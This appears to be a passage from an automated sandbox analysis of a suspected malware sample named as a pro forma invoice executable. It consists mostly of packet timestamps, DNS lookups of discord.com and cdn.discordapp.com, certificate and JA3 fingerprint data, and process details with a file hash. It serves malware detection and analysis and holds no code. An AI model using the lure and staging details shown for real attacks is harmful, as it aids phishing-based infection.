Nov 28, 2020 10:31:08.150381088 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.150397062 CET	49733	443	192.168.2.4	162.159.135.233
Nov 28, 2020 10:31:08.150398016 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.150415897 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.150435925 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.150444984 CET	49733	443	192.168.2.4	162.159.135.233
Nov 28, 2020 10:31:08.150449038 CET	49733	443	192.168.2.4	162.159.135.233
Nov 28, 2020 10:31:08.150454998 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.150473118 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.150490046 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.150490046 CET	49733	443	192.168.2.4	162.159.135.233
Nov 28, 2020 10:31:08.150506020 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.150522947 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.150540113 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.150541067 CET	49733	443	192.168.2.4	162.159.135.233
Nov 28, 2020 10:31:08.150557995 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.150562048 CET	49733	443	192.168.2.4	162.159.135.233
Nov 28, 2020 10:31:08.150578022 CET	49733	443	192.168.2.4	162.159.135.233
Nov 28, 2020 10:31:08.150580883 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.150599003 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.150614977 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.150629997 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.150645971 CET	49733	443	192.168.2.4	162.159.135.233
Nov 28, 2020 10:31:08.150645971 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.150664091 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.150680065 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.150688887 CET	49733	443	192.168.2.4	162.159.135.233
Nov 28, 2020 10:31:08.150695086 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.150698900 CET	49733	443	192.168.2.4	162.159.135.233
Nov 28, 2020 10:31:08.150716066 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.150724888 CET	49733	443	192.168.2.4	162.159.135.233
Nov 28, 2020 10:31:08.150733948 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.150753975 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.150767088 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.150778055 CET	49733	443	192.168.2.4	162.159.135.233
Nov 28, 2020 10:31:08.150784016 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.150804996 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.150806904 CET	49733	443	192.168.2.4	162.159.135.233
Nov 28, 2020 10:31:08.150823116 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.150840044 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.150856018 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.150857925 CET	49733	443	192.168.2.4	162.159.135.233
Nov 28, 2020 10:31:08.150872946 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.150917053 CET	49733	443	192.168.2.4	162.159.135.233
Nov 28, 2020 10:31:08.150921106 CET	49733	443	192.168.2.4	162.159.135.233
Nov 28, 2020 10:31:08.151144981 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.151175022 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.151191950 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.151202917 CET	49733	443	192.168.2.4	162.159.135.233
Nov 28, 2020 10:31:08.151206970 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.151226044 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.151242018 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.151247025 CET	49733	443	192.168.2.4	162.159.135.233
Nov 28, 2020 10:31:08.151262045 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.151281118 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.151285887 CET	49733	443	192.168.2.4	162.159.135.233
Nov 28, 2020 10:31:08.151299000 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.151316881 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.151334047 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.151338100 CET	49733	443	192.168.2.4	162.159.135.233
Nov 28, 2020 10:31:08.151350975 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.151356936 CET	49733	443	192.168.2.4	162.159.135.233
Nov 28, 2020 10:31:08.151370049 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.151387930 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.151408911 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.151426077 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.151426077 CET	49733	443	192.168.2.4	162.159.135.233
Nov 28, 2020 10:31:08.151431084 CET	49733	443	192.168.2.4	162.159.135.233
Nov 28, 2020 10:31:08.151443005 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.151459932 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.151475906 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.151475906 CET	49733	443	192.168.2.4	162.159.135.233
Nov 28, 2020 10:31:08.151493073 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.151510000 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.151518106 CET	49733	443	192.168.2.4	162.159.135.233
Nov 28, 2020 10:31:08.151521921 CET	49733	443	192.168.2.4	162.159.135.233
Nov 28, 2020 10:31:08.151526928 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.151546955 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.151563883 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.151578903 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.151582003 CET	49733	443	192.168.2.4	162.159.135.233
Nov 28, 2020 10:31:08.151597023 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.151612997 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.151627064 CET	49733	443	192.168.2.4	162.159.135.233
Nov 28, 2020 10:31:08.151628971 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.151644945 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.151659966 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.151663065 CET	49733	443	192.168.2.4	162.159.135.233
Nov 28, 2020 10:31:08.151679993 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.151698112 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.151699066 CET	49733	443	192.168.2.4	162.159.135.233
Nov 28, 2020 10:31:08.151715040 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.151731014 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.151746035 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.151756048 CET	49733	443	192.168.2.4	162.159.135.233
Nov 28, 2020 10:31:08.151763916 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.151777983 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.151786089 CET	49733	443	192.168.2.4	162.159.135.233
Nov 28, 2020 10:31:08.151813984 CET	49733	443	192.168.2.4	162.159.135.233
Nov 28, 2020 10:31:08.151917934 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.151936054 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.151952028 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.151968002 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.151983976 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.152000904 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.152015924 CET	49733	443	192.168.2.4	162.159.135.233
Nov 28, 2020 10:31:08.152018070 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.152040958 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.152060032 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.152062893 CET	49733	443	192.168.2.4	162.159.135.233
Nov 28, 2020 10:31:08.152077913 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.152095079 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.152111053 CET	49733	443	192.168.2.4	162.159.135.233
Nov 28, 2020 10:31:08.152112007 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.152117014 CET	49733	443	192.168.2.4	162.159.135.233
Nov 28, 2020 10:31:08.152127028 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.152158022 CET	49733	443	192.168.2.4	162.159.135.233
Nov 28, 2020 10:31:08.152250051 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.152271986 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.152288914 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.152306080 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.152306080 CET	49733	443	192.168.2.4	162.159.135.233
Nov 28, 2020 10:31:08.152323008 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.152340889 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.152357101 CET	49733	443	192.168.2.4	162.159.135.233
Nov 28, 2020 10:31:08.152358055 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.152362108 CET	49733	443	192.168.2.4	162.159.135.233
Nov 28, 2020 10:31:08.152376890 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.152395010 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.152414083 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.152431965 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.152446985 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.152460098 CET	49733	443	192.168.2.4	162.159.135.233
Nov 28, 2020 10:31:08.152463913 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.152465105 CET	49733	443	192.168.2.4	162.159.135.233
Nov 28, 2020 10:31:08.152482986 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.152499914 CET	49733	443	192.168.2.4	162.159.135.233
Nov 28, 2020 10:31:08.152501106 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.152519941 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.152534962 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.152550936 CET	49733	443	192.168.2.4	162.159.135.233
Nov 28, 2020 10:31:08.152554989 CET	49733	443	192.168.2.4	162.159.135.233
Nov 28, 2020 10:31:08.152555943 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.152575016 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.152590036 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.152597904 CET	49733	443	192.168.2.4	162.159.135.233
Nov 28, 2020 10:31:08.152606964 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.152622938 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.152637959 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.152638912 CET	49733	443	192.168.2.4	162.159.135.233
Nov 28, 2020 10:31:08.152654886 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.152667999 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.152683020 CET	49733	443	192.168.2.4	162.159.135.233
Nov 28, 2020 10:31:08.152686119 CET	49733	443	192.168.2.4	162.159.135.233
Nov 28, 2020 10:31:08.152744055 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.152761936 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.152777910 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.152777910 CET	49733	443	192.168.2.4	162.159.135.233
Nov 28, 2020 10:31:08.152797937 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.152816057 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.152832031 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.152832985 CET	49733	443	192.168.2.4	162.159.135.233
Nov 28, 2020 10:31:08.152849913 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.152868032 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.152884007 CET	49733	443	192.168.2.4	162.159.135.233
Nov 28, 2020 10:31:08.152884007 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.152901888 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.152919054 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.152924061 CET	49733	443	192.168.2.4	162.159.135.233
Nov 28, 2020 10:31:08.152928114 CET	49733	443	192.168.2.4	162.159.135.233
Nov 28, 2020 10:31:08.152940035 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.152959108 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.152975082 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.152975082 CET	49733	443	192.168.2.4	162.159.135.233
Nov 28, 2020 10:31:08.152991056 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.153011084 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.153028965 CET	49733	443	192.168.2.4	162.159.135.233
Nov 28, 2020 10:31:08.153033018 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.153034925 CET	49733	443	192.168.2.4	162.159.135.233
Nov 28, 2020 10:31:08.153057098 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.153074980 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.153091908 CET	49733	443	192.168.2.4	162.159.135.233
Nov 28, 2020 10:31:08.153095007 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.153095961 CET	49733	443	192.168.2.4	162.159.135.233
Nov 28, 2020 10:31:08.153124094 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.153141022 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.153171062 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.153191090 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.153196096 CET	49733	443	192.168.2.4	162.159.135.233
Nov 28, 2020 10:31:08.153208971 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.153213024 CET	49733	443	192.168.2.4	162.159.135.233
Nov 28, 2020 10:31:08.153232098 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.153249979 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.153265953 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.153281927 CET	49733	443	192.168.2.4	162.159.135.233
Nov 28, 2020 10:31:08.153283119 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.153286934 CET	49733	443	192.168.2.4	162.159.135.233
Nov 28, 2020 10:31:08.153301001 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.153317928 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.153317928 CET	49733	443	192.168.2.4	162.159.135.233
Nov 28, 2020 10:31:08.153335094 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.153351068 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.153369904 CET	49733	443	192.168.2.4	162.159.135.233
Nov 28, 2020 10:31:08.153369904 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.153413057 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.153414965 CET	49733	443	192.168.2.4	162.159.135.233
Nov 28, 2020 10:31:08.153419971 CET	49733	443	192.168.2.4	162.159.135.233
Nov 28, 2020 10:31:08.153433084 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.153450012 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.153466940 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.153484106 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.153500080 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.153517008 CET	49733	443	192.168.2.4	162.159.135.233
Nov 28, 2020 10:31:08.153580904 CET	49733	443	192.168.2.4	162.159.135.233
Nov 28, 2020 10:32:00.088788986 CET	49733	443	192.168.2.4	162.159.135.233

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 28, 2020 10:31:02.219085932 CET	55854	53	192.168.2.4	8.8.8.8
Nov 28, 2020 10:31:02.246105909 CET	53	55854	8.8.8.8	192.168.2.4
Nov 28, 2020 10:31:07.560221910 CET	64549	53	192.168.2.4	8.8.8.8
Nov 28, 2020 10:31:07.587306976 CET	53	64549	8.8.8.8	192.168.2.4
Nov 28, 2020 10:31:07.702680111 CET	63153	53	192.168.2.4	8.8.8.8
Nov 28, 2020 10:31:07.729708910 CET	53	63153	8.8.8.8	192.168.2.4
Nov 28, 2020 10:31:28.383827925 CET	52991	53	192.168.2.4	8.8.8.8
Nov 28, 2020 10:31:28.411088943 CET	53	52991	8.8.8.8	192.168.2.4
Nov 28, 2020 10:31:34.247920990 CET	53700	53	192.168.2.4	8.8.8.8
Nov 28, 2020 10:31:35.273853064 CET	53700	53	192.168.2.4	8.8.8.8
Nov 28, 2020 10:31:36.078322887 CET	51726	53	192.168.2.4	8.8.8.8
Nov 28, 2020 10:31:36.241617918 CET	53	51726	8.8.8.8	192.168.2.4
Nov 28, 2020 10:31:36.241916895 CET	53	53700	8.8.8.8	192.168.2.4
Nov 28, 2020 10:31:36.242775917 CET	53	53700	8.8.8.8	192.168.2.4
Nov 28, 2020 10:31:36.987870932 CET	56794	53	192.168.2.4	8.8.8.8
Nov 28, 2020 10:31:37.014924049 CET	53	56794	8.8.8.8	192.168.2.4
Nov 28, 2020 10:31:37.733671904 CET	56534	53	192.168.2.4	8.8.8.8
Nov 28, 2020 10:31:37.769320965 CET	53	56534	8.8.8.8	192.168.2.4
Nov 28, 2020 10:31:38.429485083 CET	56627	53	192.168.2.4	8.8.8.8
Nov 28, 2020 10:31:38.456552982 CET	53	56627	8.8.8.8	192.168.2.4
Nov 28, 2020 10:31:39.143574953 CET	56621	53	192.168.2.4	8.8.8.8
Nov 28, 2020 10:31:39.170844078 CET	53	56621	8.8.8.8	192.168.2.4
Nov 28, 2020 10:31:39.872354984 CET	63116	53	192.168.2.4	8.8.8.8
Nov 28, 2020 10:31:39.910217047 CET	53	63116	8.8.8.8	192.168.2.4
Nov 28, 2020 10:31:40.799295902 CET	64078	53	192.168.2.4	8.8.8.8
Nov 28, 2020 10:31:40.826457024 CET	53	64078	8.8.8.8	192.168.2.4
Nov 28, 2020 10:31:49.510163069 CET	64801	53	192.168.2.4	8.8.8.8
Nov 28, 2020 10:31:49.546915054 CET	53	64801	8.8.8.8	192.168.2.4
Nov 28, 2020 10:31:54.236198902 CET	61721	53	192.168.2.4	8.8.8.8
Nov 28, 2020 10:31:54.279809952 CET	53	61721	8.8.8.8	192.168.2.4
Nov 28, 2020 10:31:54.814912081 CET	51255	53	192.168.2.4	8.8.8.8
Nov 28, 2020 10:31:54.868314981 CET	53	51255	8.8.8.8	192.168.2.4
Nov 28, 2020 10:31:55.420306921 CET	61522	53	192.168.2.4	8.8.8.8
Nov 28, 2020 10:31:55.455759048 CET	53	61522	8.8.8.8	192.168.2.4
Nov 28, 2020 10:31:55.775741100 CET	52337	53	192.168.2.4	8.8.8.8
Nov 28, 2020 10:31:55.811485052 CET	53	52337	8.8.8.8	192.168.2.4
Nov 28, 2020 10:31:56.188901901 CET	55046	53	192.168.2.4	8.8.8.8
Nov 28, 2020 10:31:56.224395037 CET	53	55046	8.8.8.8	192.168.2.4
Nov 28, 2020 10:31:56.684010983 CET	49612	53	192.168.2.4	8.8.8.8
Nov 28, 2020 10:31:56.719657898 CET	53	49612	8.8.8.8	192.168.2.4
Nov 28, 2020 10:31:57.369980097 CET	49285	53	192.168.2.4	8.8.8.8
Nov 28, 2020 10:31:57.407788992 CET	53	49285	8.8.8.8	192.168.2.4
Nov 28, 2020 10:31:58.073167086 CET	50601	53	192.168.2.4	8.8.8.8
Nov 28, 2020 10:31:58.108619928 CET	53	50601	8.8.8.8	192.168.2.4
Nov 28, 2020 10:31:59.318715096 CET	60875	53	192.168.2.4	8.8.8.8
Nov 28, 2020 10:31:59.354480982 CET	53	60875	8.8.8.8	192.168.2.4
Nov 28, 2020 10:31:59.681447029 CET	56448	53	192.168.2.4	8.8.8.8
Nov 28, 2020 10:31:59.717175961 CET	53	56448	8.8.8.8	192.168.2.4
Nov 28, 2020 10:31:59.858293056 CET	59172	53	192.168.2.4	8.8.8.8
Nov 28, 2020 10:31:59.909159899 CET	53	59172	8.8.8.8	192.168.2.4
Nov 28, 2020 10:32:05.831170082 CET	62420	53	192.168.2.4	8.8.8.8
Nov 28, 2020 10:32:05.868024111 CET	53	62420	8.8.8.8	192.168.2.4
Nov 28, 2020 10:32:12.090886116 CET	60579	53	192.168.2.4	8.8.8.8
Nov 28, 2020 10:32:12.117989063 CET	53	60579	8.8.8.8	192.168.2.4
Nov 28, 2020 10:32:12.799681902 CET	50183	53	192.168.2.4	8.8.8.8
Nov 28, 2020 10:32:12.826797962 CET	53	50183	8.8.8.8	192.168.2.4
Nov 28, 2020 10:32:14.314152956 CET	61531	53	192.168.2.4	8.8.8.8
Nov 28, 2020 10:32:14.341248989 CET	53	61531	8.8.8.8	192.168.2.4
Nov 28, 2020 10:32:15.578613043 CET	49228	53	192.168.2.4	8.8.8.8
Nov 28, 2020 10:32:15.605720043 CET	53	49228	8.8.8.8	192.168.2.4
Nov 28, 2020 10:32:17.442347050 CET	59794	53	192.168.2.4	8.8.8.8
Nov 28, 2020 10:32:17.477639914 CET	53	59794	8.8.8.8	192.168.2.4
Nov 28, 2020 10:32:44.223612070 CET	55916	53	192.168.2.4	8.8.8.8
Nov 28, 2020 10:32:44.250850916 CET	53	55916	8.8.8.8	192.168.2.4
Nov 28, 2020 10:32:45.968452930 CET	52752	53	192.168.2.4	8.8.8.8
Nov 28, 2020 10:32:46.004127026 CET	53	52752	8.8.8.8	192.168.2.4

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class
Nov 28, 2020 10:31:07.560221910 CET	192.168.2.4	8.8.8.8	0x6e3c	Standard query (0)	discord.com	A (IP address)	IN (0x0001)
Nov 28, 2020 10:31:07.702680111 CET	192.168.2.4	8.8.8.8	0x3a8	Standard query (0)	cdn.discordapp.com	A (IP address)	IN (0x0001)

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	Address	Type	Class
Nov 28, 2020 10:31:07.587306976 CET	8.8.8.8	192.168.2.4	0x6e3c	No error (0)	discord.com	162.159.137.232	A (IP address)	IN (0x0001)
Nov 28, 2020 10:31:07.587306976 CET	8.8.8.8	192.168.2.4	0x6e3c	No error (0)	discord.com	162.159.136.232	A (IP address)	IN (0x0001)
Nov 28, 2020 10:31:07.587306976 CET	8.8.8.8	192.168.2.4	0x6e3c	No error (0)	discord.com	162.159.135.232	A (IP address)	IN (0x0001)
Nov 28, 2020 10:31:07.587306976 CET	8.8.8.8	192.168.2.4	0x6e3c	No error (0)	discord.com	162.159.128.233	A (IP address)	IN (0x0001)
Nov 28, 2020 10:31:07.587306976 CET	8.8.8.8	192.168.2.4	0x6e3c	No error (0)	discord.com	162.159.138.232	A (IP address)	IN (0x0001)
Nov 28, 2020 10:31:07.729708910 CET	8.8.8.8	192.168.2.4	0x3a8	No error (0)	cdn.discordapp.com	162.159.135.233	A (IP address)	IN (0x0001)
Nov 28, 2020 10:31:07.729708910 CET	8.8.8.8	192.168.2.4	0x3a8	No error (0)	cdn.discordapp.com	162.159.129.233	A (IP address)	IN (0x0001)
Nov 28, 2020 10:31:07.729708910 CET	8.8.8.8	192.168.2.4	0x3a8	No error (0)	cdn.discordapp.com	162.159.133.233	A (IP address)	IN (0x0001)
Nov 28, 2020 10:31:07.729708910 CET	8.8.8.8	192.168.2.4	0x3a8	No error (0)	cdn.discordapp.com	162.159.130.233	A (IP address)	IN (0x0001)
Nov 28, 2020 10:31:07.729708910 CET	8.8.8.8	192.168.2.4	0x3a8	No error (0)	cdn.discordapp.com	162.159.134.233	A (IP address)	IN (0x0001)

HTTPS Packets

Timestamp	Source IP	Source Port	Dest IP	Dest Port	Subject	Issuer	Not Before	Not After	JA3 SSL Client Fingerprint	JA3 SSL Client Digest
Nov 28, 2020 10:31:07.815462112 CET	162.159.135.233	443	192.168.2.4	49733	CN=ssl711320.cloudflaressl.com CN=COMODO ECC Domain Validation Secure Server CA 2, O=COMODO CA Limited, L=Salford, ST=Greater Manchester, C=GB CN=COMODO ECC Certification Authority, O=COMODO CA Limited, L=Salford, ST=Greater Manchester, C=GB	CN=COMODO ECC Domain Validation Secure Server CA 2, O=COMODO CA Limited, L=Salford, ST=Greater Manchester, C=GB CN=COMODO ECC Certification Authority, O=COMODO CA Limited, L=Salford, ST=Greater Manchester, C=GB CN=AAA Certificate Services, O=Comodo CA Limited, L=Salford, ST=Greater Manchester, C=GB	Tue Oct 27 01:00:00 CET 2020 Thu Sep 25 02:00:00 CEST 2014 Thu Jan 01 01:00:00 CET 2004	Thu May 06 01:59:59 CEST 2021 Tue Sep 25 01:59:59 CEST 2029 Mon Jan 01 00:59:59 CET 2029	771,49196-49195-49200-49199-159-158-49188-49187-49192-49191-49162-49161-49172-49171-157-156-61-60-53-47-10,0-5-10-11-13-35-23-65281,29-23-24,0	ce5f3254611a8c095a3d821d44539877
					CN=COMODO ECC Domain Validation Secure Server CA 2, O=COMODO CA Limited, L=Salford, ST=Greater Manchester, C=GB	CN=COMODO ECC Certification Authority, O=COMODO CA Limited, L=Salford, ST=Greater Manchester, C=GB	Thu Sep 25 02:00:00 CEST 2014	Tue Sep 25 01:59:59 CEST 2029
					CN=COMODO ECC Certification Authority, O=COMODO CA Limited, L=Salford, ST=Greater Manchester, C=GB	CN=AAA Certificate Services, O=Comodo CA Limited, L=Salford, ST=Greater Manchester, C=GB	Thu Jan 01 01:00:00 CET 2004	Mon Jan 01 00:59:59 CET 2029

Code Manipulations

Statistics

CPU Usage

Click to jump to process

Memory Usage

Click to jump to process

High Level Behavior Distribution

Click to dive into process behavior distribution

Behavior

Click to jump to process

System Behavior

Analysis Process: PRO FORMA INVOICE - - MAGAUTKCP (24-Nov-20).exe PID: 6152 Parent PID: 5940

General

Start time:	10:31:05
Start date:	28/11/2020
Path:	C:\Users\user\Desktop\PRO FORMA INVOICE - - MAGAUTKCP (24-Nov-20).exe
Wow64 process (32bit):	true
Commandline:	'C:\Users\user\Desktop\PRO FORMA INVOICE - - MAGAUTKCP (24-Nov-20).exe'
Imagebase:	0x400000
File size:	1218752 bytes
MD5 hash:	B3CB5B2BC5C3033B1008ED7F7F6312DB
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	Borland Delphi
Reputation:	low

Chronological Activities

Analysis Process: PRO FORMA INVOICE - - MAGAUTKCP (24-Nov-20).exe PID: 6944 Parent PID: 6152

General

Start time:	10:31:59
Start date:	28/11/2020
Path:	C:\Users\user\Desktop\PRO FORMA INVOICE - - MAGAUTKCP (24-Nov-20).exe
Wow64 process (32bit):	true
